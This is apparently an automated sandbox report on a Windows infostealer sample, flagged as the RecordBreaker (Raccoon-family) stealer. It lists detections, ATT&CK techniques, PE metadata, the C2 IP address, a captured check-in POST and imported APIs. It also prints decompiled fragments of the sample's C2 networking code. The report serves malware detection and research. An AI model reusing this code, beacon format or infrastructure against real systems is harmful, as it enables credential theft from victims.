Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
zRZljp49Uz.exe	74%	Virustotal		Browse
zRZljp49Uz.exe	29%	Metadefender		Browse
zRZljp49Uz.exe	88%	ReversingLabs	Win32.Infostealer.Coins
zRZljp49Uz.exe	100%	Avira	HEUR/AGEN.1234185

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.zRZljp49Uz.exe.a40000.0.unpack	100%	Avira	HEUR/AGEN.1234185		Download File
0.0.zRZljp49Uz.exe.a40000.0.unpack	100%	Avira	HEUR/AGEN.1234185		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://51.195.166.184/	4%	Virustotal		Browse
http://51.195.166.184/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://51.195.166.184/	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
51.195.166.184	unknown	France		16276	OVHFR	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	650286
Start date and time: 22/06/202211:59:07	2022-06-22 11:59:07 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 2m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	zRZljp49Uz (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 64.6%) Quality average: 31.3% Quality standard deviation: 29.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 11 Number of non-executed functions: 41
Cookbook Comments:	Adjust boot time Enable AMSI Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 20.82.210.154
Excluded domains from analysis (whitelisted): store-images.s-microsoft.com, arc.trafficmanager.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, arc.msn.com
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
51.195.166.184	53qjoJKFX5.exe	Get hash	malicious	Browse	51.195.166.184/
	HUDo66VOKl.exe	Get hash	malicious	Browse	51.195.166.184/
	Ptz28IPtgw.exe	Get hash	malicious	Browse	51.195.166.184/
	y9jhF7SHo0.exe	Get hash	malicious	Browse	51.195.166.184/
	os9c8lpkIr.exe	Get hash	malicious	Browse	51.195.166.184/
	TrdngAnlzr649.exe	Get hash	malicious	Browse	51.195.166.184/5654635c6c454bebae9241bd1851b699
	FoQ0LvvzAo.exe	Get hash	malicious	Browse	51.195.166.184/a16704fcc3708296c995cc212c7a5936
	qgmW4gQr3z.exe	Get hash	malicious	Browse	51.195.166.184/3e842f6b09b98b470e349a81b95515fd

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	Nuovo documento 2022.06.22.xls	Get hash	malicious	Browse	94.23.45.86
	q4tdor4pPy.exe	Get hash	malicious	Browse	139.99.32.83
	v3atOJjsfY.exe	Get hash	malicious	Browse	139.99.32.83
	RBNiDDVDbN.exe	Get hash	malicious	Browse	139.99.32.83
	RBNiDDVDbN.exe	Get hash	malicious	Browse	139.99.32.83
	X0nnGMxB9D.dll	Get hash	malicious	Browse	94.23.45.86
	mFKQV56YTK.dll	Get hash	malicious	Browse	94.23.45.86
	BGDWLlg3Se.dll	Get hash	malicious	Browse	54.37.228.122
	sora.arm	Get hash	malicious	Browse	54.39.148.232
	tgk1ush7m6.dll	Get hash	malicious	Browse	94.23.45.86
	Cq7YT1QM9L.dll	Get hash	malicious	Browse	94.23.45.86
	vk81OVWFDn.dll	Get hash	malicious	Browse	54.37.228.122
	vazBx2ZUXR.dll	Get hash	malicious	Browse	54.37.228.122
	5gEqQsEXKd.dll	Get hash	malicious	Browse	94.23.45.86
	eNeC42CjPi	Get hash	malicious	Browse	146.59.64.13
	e4SwuQIOCs	Get hash	malicious	Browse	146.59.64.13
	uebj2shHRx	Get hash	malicious	Browse	146.59.64.13
	TIKDt71jFm	Get hash	malicious	Browse	146.59.64.13
	UUbbi2UE6I	Get hash	malicious	Browse	146.59.64.13
	guQwtk8LXP	Get hash	malicious	Browse	146.59.64.13

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.3513101497739335
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	zRZljp49Uz.exe
File size:	56832
MD5:	0cfa58846e43dd67b6d9f29e97f6c53e
SHA1:	19d9fbfd9b23d4bd435746a524443f1a962d42fa
SHA256:	022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03
SHA512:	263bb15955a86788d3006f4d3fdeabe6fed1291b6c6e60471ffdb59626755a81d1ffbafc58fe13c0633cb67f3f1d9a3ec92046b6d85eba56e56cd1c252ea4ea0
SSDEEP:	1536:qzwshK8pUMGxo0xwwW9VemFMGfpbbVDzANyCa:wwshK8yMexbW9vJVDzANs
TLSH:	1B4307814885EC73C15248B4278D752FDBDEDC022A20F1CBB736F7D746E618249AA39B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g~..............m.......m.......m..............#s......#s......Rich............................PE..L......b...................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x407486
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x628F8781 [Thu May 26 13:58:25 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	4ec5227a81c3e90d891321c143c67557

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000000E4h
push ebx
push esi
push edi
call 00007F1420F4962Eh
call 00007F1420F4C65Fh
push 00000000h
call dword ptr [0040E068h]
and dword ptr [ebp-04h], 00000000h
mov esi, 0040D43Ch
mov ecx, esi
call 00007F1420F52BABh
mov dword ptr [ebp-10h], eax
mov ecx, 0040D460h
lea eax, dword ptr [ebp-04h]
push esi
push eax
call 00007F1420F52CD1h
lea edx, dword ptr [ebp-04h]
mov ecx, eax
call 00007F1420F49DFBh
mov ebx, 0040EC98h
push eax
mov ecx, ebx
call 00007F1420F50D2Eh
mov edi, eax
mov ecx, 0040D4A8h
lea eax, dword ptr [ebp-04h]
push esi
push eax
call 00007F1420F52CA9h
lea edx, dword ptr [ebp-04h]
mov ecx, eax
call 00007F1420F49DD3h
push eax
mov ecx, ebx
call 00007F1420F50D0Bh
mov esi, eax
mov ecx, 0040D4F0h
lea eax, dword ptr [ebp-04h]
push 0040D43Ch
push eax
call 00007F1420F52C82h
lea edx, dword ptr [ebp-04h]
mov ecx, eax
call 00007F1420F49DACh
push eax
mov ecx, ebx
call 00007F1420F50CE4h
mov dword ptr [ebp-34h], esi
mov ecx, 0040D538h
mov dword ptr [ebp-30h], eax
mov esi, 0040D43Ch
lea eax, dword ptr [ebp-04h]
mov dword ptr [ebp-38h], edi
push esi
push eax
call 00007F1420F52C53h
lea edx, dword ptr [ebp-04h]
mov ecx, eax
call 00007F1420F49D7Dh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd8bc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10000	0x148c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xd790	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc000	0x30	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa615	0xa800	False	0.45175316220238093	data	6.037478061501936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc000	0x19ba	0x1a00	False	0.5072115384615384	data	5.271640666045761	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xe000	0x14c0	0x200	False	0.03125	ISO-8859 text, with no line terminators	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x10000	0x148c	0x1600	False	0.7867542613636364	data	6.654962728887089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	lstrcpynA, GetUserDefaultLCID, GetSystemInfo, LocalFree, FreeLibrary, GetProcAddress, LoadLibraryW
ADVAPI32.dll	GetUserNameW

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.551.195.166.18449746802036934 06/22/22-12:00:13.668134	TCP	2036934	ET TROJAN Win32/RecordBreaker CnC Checkin	49746	80	192.168.2.5	51.195.166.184
192.168.2.551.195.166.18449746802036882 06/22/22-12:00:13.668134	TCP	2036882	ET TROJAN Generic Stealer Config Download Request	49746	80	192.168.2.5	51.195.166.184

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 22, 2022 12:00:13.637087107 CEST	49746	80	192.168.2.5	51.195.166.184
Jun 22, 2022 12:00:13.667448997 CEST	80	49746	51.195.166.184	192.168.2.5
Jun 22, 2022 12:00:13.667654037 CEST	49746	80	192.168.2.5	51.195.166.184
Jun 22, 2022 12:00:13.668133974 CEST	49746	80	192.168.2.5	51.195.166.184
Jun 22, 2022 12:00:13.698446035 CEST	80	49746	51.195.166.184	192.168.2.5
Jun 22, 2022 12:00:13.733907938 CEST	80	49746	51.195.166.184	192.168.2.5
Jun 22, 2022 12:00:13.734102011 CEST	49746	80	192.168.2.5	51.195.166.184
Jun 22, 2022 12:00:14.151949883 CEST	49746	80	192.168.2.5	51.195.166.184

HTTP Request Dependency Graph

51.195.166.184

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49746	51.195.166.184	80	C:\Users\user\Desktop\zRZljp49Uz.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2022 12:00:13.668133974 CEST	399	OUT	POST / HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: record Host: 51.195.166.184 Content-Length: 95 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 6d 61 63 68 69 6e 65 49 64 3d 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 7c 61 6c 66 6f 6e 73 26 63 6f 6e 66 69 67 49 64 3d 35 39 63 39 37 33 37 32 36 34 63 30 62 33 32 30 39 64 39 31 39 33 62 38 64 65 64 36 63 31 32 37 Data Ascii: machineId=d06ed635-68f6-4e9a-955c-4899f5f57b9a\|user&configId=59c9737264c0b3209d9193b8ded6c127
Jun 22, 2022 12:00:13.733907938 CEST	400	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.3 (Ubuntu) Date: Wed, 22 Jun 2022 10:00:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 14 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"e-vDAjs2Bjp2gdskaBRytU+hHw1Ow" Data Raw: 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: Page not found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: zRZljp49Uz.exePID: 7056, Parent PID: 2136

General

Target ID:	0
Start time:	12:00:10
Start date:	22/06/2022
Path:	C:\Users\user\Desktop\zRZljp49Uz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\zRZljp49Uz.exe"
Imagebase:	0xa40000
File size:	56832 bytes
MD5 hash:	0CFA58846E43DD67B6D9F29E97F6C53E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: zRZljp49Uz.exePID: 7056, Parent PID: 2136COMMON

Execution Graph

Execution Coverage:	15.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.1%
Total number of Nodes:	549
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00A41000 Relevance: 219.3, APIs: 19, Strings: 106, Instructions: 509
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(kernel32.dll,?,?,00A47497), ref: 00A4100B
GetProcAddress.KERNEL32(00000000,LoadLibraryW), ref: 00A4102B
LoadLibraryW.KERNELBASE(Shlwapi.dll,?,?,?,?,?,00A47497), ref: 00A41037
LoadLibraryW.KERNELBASE(Ole32.dll,?,?,?,?,?,00A47497), ref: 00A41046
LoadLibraryW.KERNELBASE(WinInet.dll,?,?,?,?,?,00A47497), ref: 00A41056
LoadLibraryW.KERNELBASE(Crypt32.dll,?,?,?,?,?,00A47497), ref: 00A41086
LoadLibraryW.KERNELBASE(Shell32.dll,?,?,?,?,?,00A47497), ref: 00A41096
LoadLibraryW.KERNELBASE(Bcrypt.dll,?,?,?,?,?,00A47497), ref: 00A4109F
GetProcAddress.KERNEL32(?,GetProcAddress), ref: 00A410AD
GetProcAddress.KERNEL32(?,HeapFree), ref: 00A41256
GetProcAddress.KERNEL32(?,Sleep), ref: 00A41328
GetProcAddress.KERNEL32(00000000,StrToIntA), ref: 00A41478
GetProcAddress.KERNEL32(00000000,StrToInt64ExW), ref: 00A41496
GetProcAddress.KERNEL32(?,GetUserNameW), ref: 00A414ED
GetProcAddress.KERNEL32(?,CharUpperW), ref: 00A41568
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 00A4169D
GetProcAddress.KERNEL32(?,InternetReadFileExW), ref: 00A416BB
GetProcAddress.KERNEL32(?,HttpQueryInfoA), ref: 00A4170F
GetProcAddress.KERNEL32(?,HttpQueryInfoW), ref: 00A4171B

Strings

wsprintfW, xrefs: 00A415D5
pRo, xrefs: 00A41698
RegOpenKeyExW, xrefs: 00A41524
GetLocaleInfoW, xrefs: 00A41107
GetDriveTypeW, xrefs: 00A410E3
GlobalMemoryStatusEx, xrefs: 00A41197
GetUserNameW, xrefs: 00A414E2
CreateProcessWithTokenW, xrefs: 00A414B6
lstrcmpiW, xrefs: 00A4133B
OpenMutexW, xrefs: 00A41269
GetLastError, xrefs: 00A410F5
ReadFile, xrefs: 00A412C3
GetProcAddress, xrefs: 00A410A5
StrCpyW, xrefs: 00A41425
LocalFree, xrefs: 00A4128D
InternetReadFile, xrefs: 00A416C6
InternetOpenUrlW, xrefs: 00A416A8
CryptStringToBinaryA, xrefs: 00A41611
InternetSetOptionW, xrefs: 00A41680
PathMatchSpecW, xrefs: 00A413EF
RegEnumKeyExW, xrefs: 00A41512
HttpSendRequestW, xrefs: 00A416FC
WinInet.dll, xrefs: 00A4104E
CreateMutexW, xrefs: 00A411CD
Shell32.dll, xrefs: 00A4108E
GlobalFree, xrefs: 00A41185
User32.dll, xrefs: 00A4106E
GetSystemWow64DirectoryW, xrefs: 00A41147
HttpOpenRequestW, xrefs: 00A416E0
CreateFileW, xrefs: 00A411BB
StrRChrW, xrefs: 00A41413
Sleep, xrefs: 00A4131D
PathCombineW, xrefs: 00A41401
InternetOpenUrlA, xrefs: 00A41692
SetEnvironmentVariableW, xrefs: 00A4130B
GlobalAlloc, xrefs: 00A41173
LocalAlloc, xrefs: 00A4129F
GetFileSize, xrefs: 00A410D1
GetDesktopWindow, xrefs: 00A4159F
CreateToolhelp32Snapshot, xrefs: 00A41239
kernel32.dll, xrefs: 00A41006
Bcrypt.dll, xrefs: 00A41098
WriteFile, xrefs: 00A41395
InternetReadFileExW, xrefs: 00A416B0
CryptBinaryToStringW, xrefs: 00A41635
Crypt32.dll, xrefs: 00A4107E
GetUserDefaultLocaleName, xrefs: 00A4114F
SHGetFolderPathW, xrefs: 00A413CB
lstrcpyA, xrefs: 00A41333
CoInitialize, xrefs: 00A415EA
HeapFree, xrefs: 00A4124B
StrToIntA, xrefs: 00A4146D
OpenProcess, xrefs: 00A4127B
CryptStringToBinaryW, xrefs: 00A41623
OpenProcessToken, xrefs: 00A414F8
lstrlenA, xrefs: 00A41371
ShellExecuteW, xrefs: 00A413B9
WideCharToMultiByte, xrefs: 00A413A7
GetEnvironmentVariableW, xrefs: 00A410BF
FindClose, xrefs: 00A41203
lstrcmpA, xrefs: 00A4134D
RegQueryValueExW, xrefs: 00A41536
GetModuleFileNameW, xrefs: 00A4112B
GetSystemMetrics, xrefs: 00A415B1
ReleaseDC, xrefs: 00A415C3
LoadLibraryW, xrefs: 00A41025
ConvertSidToStringSidW, xrefs: 00A414A4
CopyFileW, xrefs: 00A411DF
HttpQueryInfoW, xrefs: 00A41715
CharUpperW, xrefs: 00A4155D
SetCurrentDirectoryW, xrefs: 00A412F9
FindFirstFileW, xrefs: 00A41215
RegCloseKey, xrefs: 00A41500
CoCreateInstance, xrefs: 00A415FC
Process32First, xrefs: 00A412D5
MultiByteToWideChar, xrefs: 00A412B1
CloseHandle, xrefs: 00A411A9
InternetOpenW, xrefs: 00A4166E
StrToIntW, xrefs: 00A41483
GetDC, xrefs: 00A4158D
Ole32.dll, xrefs: 00A41041
lstrcmpW, xrefs: 00A4135F
GetCurrentProcess, xrefs: 00A410B2
DuplicateTokenEx, xrefs: 00A414BE
GetTimeZoneInformation, xrefs: 00A41161
Advapi32.dll, xrefs: 00A4105E
GetLogicalDriveStringsW, xrefs: 00A41119
SystemFunction036, xrefs: 00A41548
Process32Next, xrefs: 00A412E7
GetTokenInformation, xrefs: 00A414D0
lstrlenW, xrefs: 00A4138D
InternetCloseHandle, xrefs: 00A416CE
Shlwapi.dll, xrefs: 00A4102D
GetClientRect, xrefs: 00A4157B
SHGetSpecialFolderPathW, xrefs: 00A413DD
StrStrA, xrefs: 00A41437
HttpQueryInfoA, xrefs: 00A41704
StrToInt64ExW, xrefs: 00A4148B
DeleteFileW, xrefs: 00A411F1
StrStrIW, xrefs: 00A4145B
StrStrW, xrefs: 00A41449
FindNextFileW, xrefs: 00A41227
CryptUnprotectData, xrefs: 00A41647
ExitProcess, xrefs: 00A41261
InternetConnectW, xrefs: 00A4165C
EnumDisplayDevicesW, xrefs: 00A41573

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Advapi32.dll$Bcrypt.dll$CharUpperW$CloseHandle$CoCreateInstance$CoInitialize$ConvertSidToStringSidW$CopyFileW$CreateFileW$CreateMutexW$CreateProcessWithTokenW$CreateToolhelp32Snapshot$Crypt32.dll$CryptBinaryToStringW$CryptStringToBinaryA$CryptStringToBinaryW$CryptUnprotectData$DeleteFileW$DuplicateTokenEx$EnumDisplayDevicesW$ExitProcess$FindClose$FindFirstFileW$FindNextFileW$GetClientRect$GetCurrentProcess$GetDC$GetDesktopWindow$GetDriveTypeW$GetEnvironmentVariableW$GetFileSize$GetLastError$GetLocaleInfoW$GetLogicalDriveStringsW$GetModuleFileNameW$GetProcAddress$GetSystemMetrics$GetSystemWow64DirectoryW$GetTimeZoneInformation$GetTokenInformation$GetUserDefaultLocaleName$GetUserNameW$GlobalAlloc$GlobalFree$GlobalMemoryStatusEx$HeapFree$HttpOpenRequestW$HttpQueryInfoA$HttpQueryInfoW$HttpSendRequestW$InternetCloseHandle$InternetConnectW$InternetOpenUrlA$InternetOpenUrlW$InternetOpenW$InternetReadFile$InternetReadFileExW$InternetSetOptionW$LoadLibraryW$LocalAlloc$LocalFree$MultiByteToWideChar$Ole32.dll$OpenMutexW$OpenProcess$OpenProcessToken$PathCombineW$PathMatchSpecW$Process32First$Process32Next$ReadFile$RegCloseKey$RegEnumKeyExW$RegOpenKeyExW$RegQueryValueExW$ReleaseDC$SHGetFolderPathW$SHGetSpecialFolderPathW$SetCurrentDirectoryW$SetEnvironmentVariableW$Shell32.dll$ShellExecuteW$Shlwapi.dll$Sleep$StrCpyW$StrRChrW$StrStrA$StrStrIW$StrStrW$StrToInt64ExW$StrToIntA$StrToIntW$SystemFunction036$User32.dll$WideCharToMultiByte$WinInet.dll$WriteFile$kernel32.dll$lstrcmpA$lstrcmpW$lstrcmpiW$lstrcpyA$lstrlenA$lstrlenW$pRo$wsprintfW
API String ID: 2238633743-368851783
Opcode ID: c97648be164b62b26eacde0b2a11e96c936ae08a56c46760672bf8381dd54203
Instruction ID: ad7cb87daeaaa9411b371e8e258a1c6a4ca71079e7f0b646fb28e53fe8487efe
Opcode Fuzzy Hash: c97648be164b62b26eacde0b2a11e96c936ae08a56c46760672bf8381dd54203
Instruction Fuzzy Hash: 8312C67D6C2240BFE390DFE8EC81DA937E4BBCA7103000825B52CC7261D7F69A468B65

Uniqueness

Uniqueness Score: -1.00%

Function 00A479F3 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 232
networkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E00A479F3(short* __ecx, intOrPtr _a4, WCHAR* _a8, LPCWSTR* _a12) {
				signed int _v8;
				long _v12;
				signed int _v16;
				WCHAR* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _t49;
				WCHAR* _t51;
				void* _t53;
				void* _t56;
				signed int _t57;
				signed int _t59;
				void* _t66;
				int _t76;
				void* _t85;
				void* _t89;
				int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				signed int _t104;
				long _t107;
				void* _t109;
				void* _t115;
				void* _t118;
				WCHAR* _t120;
				void* _t121;
				void* _t124;
				short* _t125;
				signed short* _t126;
				void* _t127;
				void* _t128;
				int _t130;

				_v8 = _v8 & 0x00000000;
				_t125 = __ecx; // executed
				_t49 = LocalAlloc(0x40, 0xc350); // executed
				_t102 = _t49;
				_t51 = LocalAlloc(0x40, 0x208); // executed
				_t120 = _t51;
				_v32 = _t120;
				if( *_t125 != 0x68) {
					L24:
					return 0;
				}
				_t53 = 0x74;
				if( *((intOrPtr*)(_t125 + 2)) != _t53 ||  *((intOrPtr*)(_t125 + 4)) != _t53 ||  *((short*)(_t125 + 6)) != 0x70) {
					goto L24;
				} else {
					_v16 =  *(_t125 + 8) & 0x0000ffff;
					_t56 =  *((intOrPtr*)( *0xa4e180))(_t125, L"://");
					_v12 = 0x2f;
					_t115 = 0;
					_t10 = _t56 + 6; // 0x6
					_t126 = _t10;
					_t57 =  *_t126 & 0x0000ffff;
					_t104 = _t57;
					if(_t57 == _v12) {
						L7:
						_t59 =  *((intOrPtr*)( *0xa4e090))(_t120);
						_v20 =  &(_t126[_t59]);
						_t127 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _a4, 0xffffffff, 0, 0, 0, 0);
						_t20 = _t127 + 0x40; // 0x40
						_t107 =  *((intOrPtr*)( *0xa4e048))(0x40, _t20);
						_v12 = _t107;
						if(_t127 == 0) {
							L9:
							_t66 = InternetOpenW(L"record", 0, 0, 0, 0); // executed
							_t128 = _t66;
							_v24 = _t128;
							if(_t128 == 0) {
								L20:
								_t109 = MultiByteToWideChar(0xfde9, 0, _t102,  *((intOrPtr*)( *0xa4e18c))(0) + 1, _t102, 0);
								_v28 = _t109;
								if(_t109 == 0) {
									_t130 = _v8;
								} else {
									_t121 = _t109 + _t109;
									_t76 =  *((intOrPtr*)( *0xa4e048))(0x40, _t121);
									_v8 = _t76;
									MultiByteToWideChar(0xfde9, 0, _t102,  *((intOrPtr*)( *0xa4e18c))(_v28) + 1, _t102, _t76);
									_t130 = _v8;
									 *((short*)(_t121 + _t130 - 2)) = 0;
								}
								LocalFree(_v12);
								LocalFree(_v32);
								LocalFree(_t102); // executed
								return _t130;
							}
							_push(1);
							_push(0);
							_t83 =  ==  ? 0x1bb : 0;
							_t84 = ( ==  ? 0x1bb : 0) & 0x0000ffff;
							_t85 = InternetConnectW(_t128, _t120, ( ==  ? 0x1bb : 0) & 0x0000ffff, 0x73, 0x50, 0, 0, 3); // executed
							_t118 = _t85;
							_v28 = _t118;
							if(_t118 == 0) {
								L19:
								InternetCloseHandle(_t128);
								goto L20;
							}
							_push(1);
							_t88 =  ==  ? 0xc00000 : 0x400000;
							_t89 = HttpOpenRequestW(_t118,  *0xa4ea54, _v20, 0, 0, _a12,  ==  ? 0xc00000 : 0x400000, 0x73); // executed
							_t124 = _t89;
							if(_t124 == 0) {
								L18:
								InternetCloseHandle(_v28);
								goto L19;
							}
